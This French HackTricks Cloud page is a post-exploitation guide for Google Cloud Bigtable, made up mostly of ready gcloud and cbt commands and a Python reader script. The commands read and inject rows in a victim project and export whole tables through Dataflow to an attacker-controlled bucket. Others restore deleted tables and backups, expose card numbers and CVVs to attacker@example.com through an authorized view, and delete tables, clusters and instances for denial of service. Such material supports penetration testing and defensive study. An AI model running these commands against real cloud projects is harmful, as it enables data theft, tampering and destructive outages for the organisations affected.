GCP - Bigtable Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Bigtable

Pour plus d’informations sur Bigtable, consultez :

GCP - Bigtable Enum

Tip

Installez une fois le CLI cbt via le Cloud SDK pour que les commandes ci-dessous fonctionnent localement :

Installer le CLI `cbt`
gcloud components install cbt

Lire les lignes

Autorisations : bigtable.tables.readRows

cbt est fourni avec le Cloud SDK et se connecte aux admin/data APIs sans nĂ©cessiter de middleware. Pointez-le vers le projet/instance compromis et rĂ©cupĂ©rez les lignes directement depuis la table. Limitez le scan si vous n’avez besoin que d’un aperçu.

Lire les entrées Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Écrire des lignes

**Permissions:** `bigtable.tables.mutateRows`, (you will need `bigtable.tables.readRows` to confirm the change).

Utilisez le mĂȘme outil pour insĂ©rer ou mettre Ă  jour des cellules arbitraires. C'est le moyen le plus rapide pour backdoor des configs, dĂ©poser des web shells, ou implanter des poisoned dataset rows.

<details>

<summary>Injecter une ligne malveillante</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set accepte des octets bruts via la syntaxe @/path, donc vous pouvez pousser compiled payloads ou serialized protobufs exactement comme les services en aval s’y attendent.

Exporter les lignes vers votre bucket

Autorisations : dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Il est possible d’exfiltrer le contenu d’une table entiĂšre vers un bucket contrĂŽlĂ© par l’attaquant en lançant un job Dataflow qui envoie les lignes en continu dans un bucket GCS que vous contrĂŽlez.

Note

Notez que vous aurez besoin de l’autorisation iam.serviceAccounts.actAs sur un SA disposant des permissions suffisantes pour effectuer l’export (par dĂ©faut, sauf indication contraire, le compute SA par dĂ©faut sera utilisĂ©).

Exporter Bigtable vers un bucket GCS ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Basculez le template sur `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mĂȘmes ; seul le chemin du template change.

### Importer des lignes

**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Il est possible d'importer le contenu d'une table entiÚre depuis un bucket contrÎlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrÎlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le réglage `Cloud_Bigtable_to_GCS_Parquet` puis ajouter de nouvelles entrées dans le fichier parquet téléchargé.



> [!NOTE]
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un certain SA disposant de suffisamment de permissions pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le SA compute par défaut sera utilisé).

<details>

<summary>Importer depuis un bucket GCS vers Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Restauration des sauvegardes

Permissions: bigtable.backups.restore, bigtable.tables.create.

Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrĂŽle afin de pouvoir rĂ©cupĂ©rer d’anciennes donnĂ©es sensibles.

Restaurer une sauvegarde Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Restaurer des tables

**Permissions :** `bigtable.tables.undelete`

Bigtable prend en charge la suppression logique (soft-deletion) avec une pĂ©riode de grĂące (gĂ©nĂ©ralement 7 jours par dĂ©faut). Pendant cette fenĂȘtre, un attaquant disposant de la permission `bigtable.tables.undelete` peut restaurer une table rĂ©cemment supprimĂ©e et rĂ©cupĂ©rer toutes ses donnĂ©es, accĂ©dant potentiellement Ă  des informations sensibles censĂ©es avoir Ă©tĂ© dĂ©truites.

Ceci est particuliĂšrement utile pour :
- Récupérer des données de tables supprimées par les défenseurs lors d'une réponse à incident
- Accéder à des données historiques qui ont été intentionnellement purgées
- Inverser des suppressions accidentelles ou malveillantes pour maintenir la persistance

<details>

<summary>Restaurer une table Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

L’opĂ©ration undelete ne fonctionne que pendant la pĂ©riode de rĂ©tention configurĂ©e (par dĂ©faut 7 jours). AprĂšs l’expiration de cette fenĂȘtre, la table et ses donnĂ©es sont dĂ©finitivement supprimĂ©es et ne peuvent pas ĂȘtre rĂ©cupĂ©rĂ©es par cette mĂ©thode.

Create Authorized Views

Autorisations: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter least privilege, utilisez-les pour publier exactement les ensembles de colonnes/lignes sensibles qui vous intéressent et mettre votre propre principal sur liste blanche.

Warning

Le problĂšme est que pour crĂ©er une authorized view vous devez aussi ĂȘtre capable de read and mutate rows dans la table de base ; par consĂ©quent vous n’obtenez aucune permission supplĂ©mentaire et cette technique est donc principalement inutile.

Créer une authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Parce que l'accÚs est limité à la vue, les défenseurs négligent souvent le fait que vous venez de créer un nouvel endpoint à haute sensibilité.

### Lire les vues autorisées

**Autorisations :** `bigtable.authorizedViews.readRows`

Si vous avez accĂšs Ă  une vue autorisĂ©e, vous pouvez lire ses donnĂ©es en utilisant les bibliothĂšques clientes Bigtable en spĂ©cifiant le nom de la vue autorisĂ©e dans vos requĂȘtes de lecture. Notez que la vue autorisĂ©e limitera probablement ce Ă  quoi vous pouvez accĂ©der dans la table. Ci‑dessous un exemple en Python :

<details>

<summary>Lire depuis une vue autorisée (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Denial of Service via opérations de suppression

Permissions : bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Toute permission de suppression de Bigtable peut ĂȘtre utilisĂ©e comme arme pour des attaques de denial of service. Un attaquant disposant de ces permissions peut perturber les opĂ©rations en supprimant des ressources Bigtable critiques :

  • bigtable.appProfiles.delete : Supprimer des profils d’application, interrompant les connexions clients et les configurations de routage
  • bigtable.authorizedViews.delete : Supprimer des vues autorisĂ©es, coupant les chemins d’accĂšs lĂ©gitimes pour les applications
  • bigtable.authorizedViews.deleteTagBinding : Supprimer les liaisons de tags des vues autorisĂ©es
  • bigtable.backups.delete : DĂ©truire les instantanĂ©s de sauvegarde, Ă©liminant les options de reprise aprĂšs sinistre
  • bigtable.clusters.delete : Supprimer des clusters entiers, provoquant une indisponibilitĂ© immĂ©diate des donnĂ©es
  • bigtable.instances.delete : Supprimer des instances Bigtable complĂštes, effaçant toutes les tables et configurations
  • bigtable.tables.delete : Supprimer des tables individuelles, provoquant une perte de donnĂ©es et des pannes d’application
Supprimer des ressources Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une grave interruption du service.

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>